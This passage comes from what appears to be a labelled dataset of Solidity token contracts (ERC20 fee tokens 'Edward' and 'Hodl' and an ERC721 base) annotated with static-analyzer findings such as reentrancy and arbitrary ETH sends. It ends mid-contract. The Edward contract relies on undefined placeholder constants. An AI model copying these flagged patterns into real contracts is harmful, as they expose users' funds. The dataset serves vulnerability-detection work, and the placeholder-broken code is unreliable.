"code": "// SPDX-License-Identifier: None\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Edward is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = TOTAL_SUPPLY * 10 ** DECIMALS;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bb3cd01): Edward._burnFee should be immutable \n\t// Recommendation for bb3cd01: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _burnFee;\n uint256 private _taxFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 42d3435): Edward._taxWallet should be immutable \n\t// Recommendation for 42d3435: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n uint256 private _maxTxAmount;\n\n string private constant _name = TOKEN_NAME;\n string private constant _symbol = TOKEN_SYMBOL;\n uint8 private constant _decimals = DECIMALS;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d5d37ee): Edward._uniswap should be immutable \n\t// Recommendation for d5d37ee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private _uniswap;\n address private _pair;\n bool private _canTrade;\n bool private _inSwap = false;\n bool private _swapEnabled = false;\n\n modifier lockTheSwap() {\n _inSwap = true;\n _;\n _inSwap = false;\n }\n constructor() {\n _taxWallet = payable(_msgSender());\n _burnFee = 1;\n _taxFee = INITIAL_TAX;\n _uniswap = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _rOwned[address(this)] = _rTotal;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _maxTxAmount = _tTotal.div(25);\n emit Transfer(address(0x0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 498c818): Edward.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 498c818: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c006b15): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c006b15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99e98fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99e98fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c006b15\n\t\t// reentrancy-benign | ID: 99e98fb\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: c006b15\n\t\t// reentrancy-benign | ID: 99e98fb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58fdd7c): Edward._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58fdd7c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 99e98fb\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c006b15\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 058343f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 058343f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 03e4fbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 03e4fbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 10d7c4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 10d7c4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (\n from == _pair &&\n to != address(_uniswap) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount < _maxTxAmount, \"Transaction amount limited\");\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!_inSwap && from != _pair && _swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 058343f\n\t\t\t\t// reentrancy-benign | ID: 03e4fbc\n\t\t\t\t// reentrancy-eth | ID: 10d7c4e\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance >= TAX_THRESHOLD) {\n\t\t\t\t\t// reentrancy-events | ID: 058343f\n\t\t\t\t\t// reentrancy-eth | ID: 10d7c4e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 058343f\n\t\t// reentrancy-benign | ID: 03e4fbc\n\t\t// reentrancy-eth | ID: 10d7c4e\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _uniswap.WETH();\n _approve(address(this), address(_uniswap), tokenAmount);\n\t\t// reentrancy-events | ID: c006b15\n\t\t// reentrancy-events | ID: 058343f\n\t\t// reentrancy-benign | ID: 03e4fbc\n\t\t// reentrancy-benign | ID: 99e98fb\n\t\t// reentrancy-eth | ID: 10d7c4e\n _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n modifier onlyTaxCollector() {\n require(_taxWallet == _msgSender());\n _;\n }\n\n function lowerTax(uint256 newTaxRate) public onlyTaxCollector {\n require(newTaxRate < INITIAL_TAX);\n _taxFee = newTaxRate;\n }\n\n function removeBuyLimit() public onlyTaxCollector {\n _maxTxAmount = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 79437b3): Edward.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 79437b3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c006b15\n\t\t// reentrancy-events | ID: 058343f\n\t\t// reentrancy-eth | ID: 10d7c4e\n\t\t// arbitrary-send-eth | ID: 79437b3\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4f248b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4f248b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8920ee6): Edward.startTrading() ignores return value by IERC20(_pair).approve(address(_uniswap),type()(uint256).max)\n\t// Recommendation for 8920ee6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d6b8d7): Edward.startTrading() ignores return value by _uniswap.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7d6b8d7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3094a66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3094a66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyTaxCollector {\n require(!_canTrade, \"Trading is already open\");\n _approve(address(this), address(_uniswap), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4f248b2\n\t\t// reentrancy-eth | ID: 3094a66\n _pair = IUniswapV2Factory(_uniswap.factory()).createPair(\n address(this),\n _uniswap.WETH()\n );\n\t\t// reentrancy-benign | ID: 4f248b2\n\t\t// unused-return | ID: 7d6b8d7\n\t\t// reentrancy-eth | ID: 3094a66\n _uniswap.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 4f248b2\n _swapEnabled = true;\n\t\t// reentrancy-eth | ID: 3094a66\n _canTrade = true;\n\t\t// unused-return | ID: 8920ee6\n IERC20(_pair).approve(address(_uniswap), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 10d7c4e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 10d7c4e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 058343f\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 10d7c4e\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 10d7c4e\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 03e4fbc\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualSwap() external onlyTaxCollector {\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualSend() external onlyTaxCollector {\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _burnFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2788.sol",
"secure": 0,
"size_bytes": 16677
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\n\nabstract contract ERC721 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed id\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 indexed id\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n string public name;\n\n string public symbol;\n\n function tokenURI(uint256 id) public view virtual returns (string memory);\n\n mapping(address => uint256) public balanceOf;\n\n mapping(uint256 => address) public ownerOf;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n constructor(string memory _name, string memory _symbol) {\n name = _name;\n symbol = _symbol;\n }\n\n function approve(address spender, uint256 id) public virtual {\n address owner = ownerOf[id];\n\n require(\n msg.sender == owner || isApprovedForAll[owner][msg.sender],\n \"NOT_AUTHORIZED\"\n );\n\n getApproved[id] = spender;\n\n emit Approval(owner, spender, id);\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n isApprovedForAll[msg.sender][operator] = approved;\n\n emit ApprovalForAll(msg.sender, operator, approved);\n }\n\n function transferFrom(address from, address to, uint256 id) public virtual {\n require(from == ownerOf[id], \"WRONG_FROM\");\n\n require(to != address(0), \"INVALID_RECIPIENT\");\n\n require(\n msg.sender == from ||\n msg.sender == getApproved[id] ||\n isApprovedForAll[from][msg.sender],\n \"NOT_AUTHORIZED\"\n );\n\n unchecked {\n balanceOf[from]--;\n\n balanceOf[to]++;\n }\n\n ownerOf[id] = to;\n\n delete getApproved[id];\n\n emit Transfer(from, to, id);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id\n ) public virtual {\n transferFrom(from, to, id);\n\n require(\n to.code.length == 0 ||\n ERC721TokenReceiver(to).onERC721Received(\n msg.sender,\n from,\n id,\n \"\"\n ) ==\n ERC721TokenReceiver.onERC721Received.selector,\n \"UNSAFE_RECIPIENT\"\n );\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n bytes memory data\n ) public virtual {\n transferFrom(from, to, id);\n\n require(\n to.code.length == 0 ||\n ERC721TokenReceiver(to).onERC721Received(\n msg.sender,\n from,\n id,\n data\n ) ==\n ERC721TokenReceiver.onERC721Received.selector,\n \"UNSAFE_RECIPIENT\"\n );\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public pure virtual returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function _mint(address to, uint256 id) internal virtual {\n require(to != address(0), \"INVALID_RECIPIENT\");\n\n require(ownerOf[id] == address(0), \"ALREADY_MINTED\");\n\n unchecked {\n balanceOf[to]++;\n }\n\n ownerOf[id] = to;\n\n emit Transfer(address(0), to, id);\n }\n\n function _burn(uint256 id) internal virtual {\n address owner = ownerOf[id];\n\n require(ownerOf[id] != address(0), \"NOT_MINTED\");\n\n unchecked {\n balanceOf[owner]--;\n }\n\n delete ownerOf[id];\n\n delete getApproved[id];\n\n emit Transfer(owner, address(0), id);\n }\n\n function _safeMint(address to, uint256 id) internal virtual {\n _mint(to, id);\n\n require(\n to.code.length == 0 ||\n ERC721TokenReceiver(to).onERC721Received(\n msg.sender,\n address(0),\n id,\n \"\"\n ) ==\n ERC721TokenReceiver.onERC721Received.selector,\n \"UNSAFE_RECIPIENT\"\n );\n }\n\n function _safeMint(\n address to,\n uint256 id,\n bytes memory data\n ) internal virtual {\n _mint(to, id);\n\n require(\n to.code.length == 0 ||\n ERC721TokenReceiver(to).onERC721Received(\n msg.sender,\n address(0),\n id,\n data\n ) ==\n ERC721TokenReceiver.onERC721Received.selector,\n \"UNSAFE_RECIPIENT\"\n );\n }\n}",
"file_name": "solidity_code_2789.sol",
"secure": 1,
"size_bytes": 5151
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Hodl is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2ebee1e): hodl._taxWallet should be immutable \n\t// Recommendation for 2ebee1e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd00673): hodl._initialBuyTax should be constant \n\t// Recommendation for fd00673: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc281c6): hodl._initialSellTax should be constant \n\t// Recommendation for dc281c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 713876c): hodl._reduceBuyTaxAt should be constant \n\t// Recommendation for 713876c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba38a14): hodl._reduceSellTaxAt should be constant \n\t// Recommendation for ba38a14: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb14bd0): hodl._preventSwapBefore should be constant \n\t// Recommendation for cb14bd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 42;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Hold On For Dear Life\";\n\n string private constant _symbol = unicode\"HODL\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0277a90): hodl._taxSwapThreshold should be constant \n\t// Recommendation for 0277a90: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2441d4): hodl._maxTaxSwap should be constant \n\t// Recommendation for f2441d4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e35651a): hodl.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e35651a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6091246): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6091246: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1313ff8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1313ff8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6091246\n\t\t// reentrancy-benign | ID: 1313ff8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6091246\n\t\t// reentrancy-benign | ID: 1313ff8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ddefb1a): hodl._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ddefb1a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1313ff8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6091246\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cd5e545): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cd5e545: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 2d89fd1): hodl._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 2d89fd1: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5da9d5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5da9d5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: 2d89fd1\n if (block.number == firstBlock) {\n require(_buyCount < 55, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cd5e545\n\t\t\t\t// reentrancy-eth | ID: 5da9d5e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cd5e545\n\t\t\t\t\t// reentrancy-eth | ID: 5da9d5e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5da9d5e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5da9d5e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5da9d5e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cd5e545\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5da9d5e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5da9d5e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cd5e545\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cd5e545\n\t\t// reentrancy-events | ID: 6091246\n\t\t// reentrancy-benign | ID: 1313ff8\n\t\t// reentrancy-eth | ID: 5da9d5e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 518e48a): hodl.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 518e48a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cd5e545\n\t\t// reentrancy-events | ID: 6091246\n\t\t// 